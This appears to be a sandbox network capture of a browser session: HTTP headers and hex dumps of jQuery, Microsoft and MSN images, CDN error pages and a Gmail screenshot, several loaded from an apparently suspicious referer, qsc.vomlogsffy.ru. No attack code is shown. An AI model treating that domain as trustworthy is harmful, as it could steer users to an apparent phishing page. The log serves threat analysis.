2024-12-18 16:17:31 UTC	630	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qsc.vomlogsffy.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-18 16:17:32 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3060184 Date: Wed, 18 Dec 2024 16:17:32 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740061-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1734538652.209019,VS0,VE1 Vary: Accept-Encoding
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-18 16:17:32 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:34 UTC	399	OUT	GET /creativeservice/2d863f0f-0fd5-72db-6971-f905df03ef53_3255140379518978990_128000000004796009_assets__image_1709055739600.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.22631 Host: res.public.onecdn.static.microsoft Connection: Keep-Alive
2024-12-18 16:17:34 UTC	1142	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 572814 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: text/plain Date: Wed, 18 Dec 2024 16:17:34 GMT Last-Modified: Thu, 12 Dec 2024 01:09:10 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=107739056415776235349989434470685816641"}],"include_subdomains ":true} Server: ECAcc (lhc/790A) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 19c83f89-b01e-0054-1c32-4cb0c0000000 Content-Length: 2495 Connection: close
2024-12-18 16:17:34 UTC	2495	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 00 40 00 40 03 01 11 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFHHCC@@}!1AQa"q2

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:37 UTC	325	OUT	GET /weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png HTTP/1.1 Accept: / Accept-Language: en-CH,en-US;q=0.7,en;q=0.3 UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: assets.msn.com Connection: Keep-Alive
2024-12-18 16:17:38 UTC	1060	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Wed, 04 Sep 2024 02:01:27 GMT ETag: 0x8DCCC857CE3F91E Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c6ef8c53-201e-0009-64a6-fe6326000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Expires: Thu, 09 Jan 2025 23:22:36 GMT Date: Wed, 18 Dec 2024 16:17:38 GMT Content-Length: 2105 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=104.126.37.13,b=696019561,c=g,n=DE_HE_FRANKFURT,o=20940] Server-Timing: clientrtt; dur=85, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 104.126.37.13 Akamai-Request-ID: 297c6a69 Cache-Control: public, max-age=2592000 Timing-Allow-Origin: * Akamai-GRN: 0.0d257e68.1734538658.297c6a69 Vary: Origin
2024-12-18 16:17:38 UTC	2105	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 48 00 00 00 48 08 06 00 00 00 55 ed b3 47 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 07 e3 49 44 41 54 78 9c ed 5c 5d 8c 9c 55 19 7e 9e 6f 66 ff ba db dd 99 85 6c 97 c6 62 8d 51 88 37 b0 52 b2 6d e2 ad b1 6d 1a 20 28 10 6f 20 60 aa 57 f8 13 41 fa a3 85 66 8d 91 58 45 db ab 6a 23 37 d6 04 b5 a1 4d a0 bb 90 08 57 34 21 91 94 58 6d ac 21 54 e3 52 b7 43 ba 33 3b 81 76 9d dd 39 8f 17 fb d3 99 6f be 73 be df d9 d2 64 de 64 f3 cd 64 9e 39 e7 bc cf fb bc ef 79 f7 cc 7c 03 74 ac 63 1d eb 58 c7 3a 76 b3 1a 6f c4 a4 e5 d7 c7 ee a3 d1 b8 c0 51 c1 6c 90 30 42 69 44 06 23 90 40 a8 24 a9 44 b1 24 a1 44 99 19 0a 6f 17 1f 3c 7f 6a ad d7 ba 26 04 55 5e f9 52 91 f9 6b Data Ascii: PNGIHDRHHUGsRGBsBIT\|dIDATx\]U~oflbQ7Rmm (o `WAfXEj#7MW4!Xm!TRC3;v9osddd9y\|tcX:voQl0BiD#@$D$Do<j&U^Rk

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:39 UTC	436	OUT	OPTIONS /api/report?cat=bingth&ndcParam=QUZE HTTP/1.1 Host: aefd.nelreports.net Connection: keep-alive Origin: https://th.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 16:18:57 UTC	549	IN	HTTP/1.1 504 Gateway Time-out Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 280 Expires: Wed, 18 Dec 2024 16:18:57 GMT Date: Wed, 18 Dec 2024 16:18:57 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.8dd53b17.1734538659.4ff594c6 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-18 16:18:57 UTC	280	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 37 26 23 34 36 3b 38 64 64 35 33 62 31 37 26 23 34 36 3b 31 37 33 34 35 33 38 36 35 39 26 23 34 36 3b 34 66 66 35 39 34 63 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 37 26 23 34 36 3b 38 64 64 35 33 62 31 37 26 23 34 36 3b 31 37 33 34 35 33 38 36 35 39 26 23 34 36 3b 34 66 66 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #97.8dd53b17.1734538659.4ff594c6<P>https://errors.edgesuite.net/97.8dd53b17.1734538659.4ff

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:39 UTC	441	OUT	OPTIONS /api/report?cat=bingth&ndcParam=QWthbWFp HTTP/1.1 Host: aefd.nelreports.net Connection: keep-alive Origin: https://www.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 16:18:35 UTC	554	IN	HTTP/1.1 500 Internal Server Error Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 387 Expires: Wed, 18 Dec 2024 16:18:35 GMT Date: Wed, 18 Dec 2024 16:18:35 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.8ad53b17.1734538659.3e50c270 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-12-18 16:18:35 UTC	387	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 20 2d 20 52 65 61 64 3c 2f 48 31 3e 0a 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 20 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 0a 63 6f 6d 70 6c 65 74 65 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 33 26 23 34 36 3b 38 61 64 35 33 62 31 37 26 23 34 36 3b 31 37 33 34 35 33 38 36 35 39 Data Ascii: <HTML><HEAD><TITLE>Internal Server Error</TITLE></HEAD><BODY><H1>Internal Server Error - Read</H1>The server encountered an internal error or misconfiguration and was unable tocomplete your request.<P>Reference #3.8ad53b17.1734538659

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:42 UTC	680	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qsc.vomlogsffy.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
